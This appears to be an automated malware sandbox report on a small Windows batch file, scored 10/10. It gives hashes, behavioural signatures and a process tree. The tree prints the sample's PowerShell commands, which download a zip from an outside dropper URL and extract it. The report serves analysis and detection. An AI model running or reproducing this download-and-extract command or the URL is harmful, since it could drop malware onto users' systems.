3113000f470106b98b5a3208266c79213a33567ca7841dd1cfe8ab84847c4eb8

Analysis

max time kernel
1563s
max time network
1565s
platform
windows7_x64
resource
win7-20231020-en
resource tags

arch:x64arch:x86image:win7-20231020-enlocale:en-usos:windows7-x64system
submitted
06/11/2023, 17:25

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General

Target

tesy - Copy (7).bat
Size

706B
MD5

035f17438f6146d5ac7285b4adfeb370
SHA1

ef83c877367e96073e2b9b841d9c03ece6b1df7e
SHA256

02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0
SHA512

49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	2360	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2360	powershell.exe
2776	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2360	powershell.exe
Token: SeDebugPrivilege	2776	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1184 wrote to memory of 2360	1184	cmd.exe	29
PID 1184 wrote to memory of 2360	1184	cmd.exe	29
PID 1184 wrote to memory of 2360	1184	cmd.exe	29
PID 1184 wrote to memory of 2776	1184	cmd.exe	30
PID 1184 wrote to memory of 2776	1184	cmd.exe	30
PID 1184 wrote to memory of 2776	1184	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (7).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1184
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2360
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2776

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
13422dbaf1a11f1d1360f187553eb728

SHA1
2c01a3fac45c779fd6a28cee5a81f2edb5ce2373

SHA256
4c61be54a3d57d2c535b9e3c30e5c381d08b8c1b37e84360cae6695a96718097

SHA512
cc2e167fc139ebfb5751981ebab3c3fa1c9d4a81e979b7fbd037b2e2f066d26f97511f0a263011a8294e38f7378471740346dea89ed03c7317133cc08ca366de

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\HC7GPXN5GRTS8RNZ6YFC.temp

Filesize
7KB

MD5
13422dbaf1a11f1d1360f187553eb728

SHA1
2c01a3fac45c779fd6a28cee5a81f2edb5ce2373

SHA256
4c61be54a3d57d2c535b9e3c30e5c381d08b8c1b37e84360cae6695a96718097

SHA512
cc2e167fc139ebfb5751981ebab3c3fa1c9d4a81e979b7fbd037b2e2f066d26f97511f0a263011a8294e38f7378471740346dea89ed03c7317133cc08ca366de

Download Submit
memory/2360-8-0x0000000002510000-0x0000000002590000-memory.dmp

Filesize
512KB

Download
memory/2360-7-0x00000000024F0000-0x00000000024F8000-memory.dmp

Filesize
32KB

Download
memory/2360-5-0x000007FEF5F90000-0x000007FEF692D000-memory.dmp

Filesize
9.6MB

Download
memory/2360-9-0x000007FEF5F90000-0x000007FEF692D000-memory.dmp

Filesize
9.6MB

Download
memory/2360-10-0x0000000002510000-0x0000000002590000-memory.dmp

Filesize
512KB

Download
memory/2360-12-0x000007FEF5F90000-0x000007FEF692D000-memory.dmp

Filesize
9.6MB

Download
memory/2360-6-0x0000000002510000-0x0000000002590000-memory.dmp

Filesize
512KB

Download
memory/2360-4-0x000000001B130000-0x000000001B412000-memory.dmp

Filesize
2.9MB

Download
memory/2776-20-0x000007FEF55F0000-0x000007FEF5F8D000-memory.dmp

Filesize
9.6MB

Download
memory/2776-18-0x000000001B310000-0x000000001B5F2000-memory.dmp

Filesize
2.9MB

Download
memory/2776-19-0x0000000002360000-0x0000000002368000-memory.dmp

Filesize
32KB

Download
memory/2776-21-0x000007FEF55F0000-0x000007FEF5F8D000-memory.dmp

Filesize
9.6MB

Download
memory/2776-22-0x0000000002870000-0x00000000028F0000-memory.dmp

Filesize
512KB

Download
memory/2776-23-0x0000000002870000-0x00000000028F0000-memory.dmp

Filesize
512KB

Download
memory/2776-25-0x0000000002870000-0x00000000028F0000-memory.dmp

Filesize
512KB

Download
memory/2776-24-0x0000000002870000-0x00000000028F0000-memory.dmp

Filesize
512KB

Download
memory/2776-26-0x000007FEF55F0000-0x000007FEF5F8D000-memory.dmp

Filesize
9.6MB

Download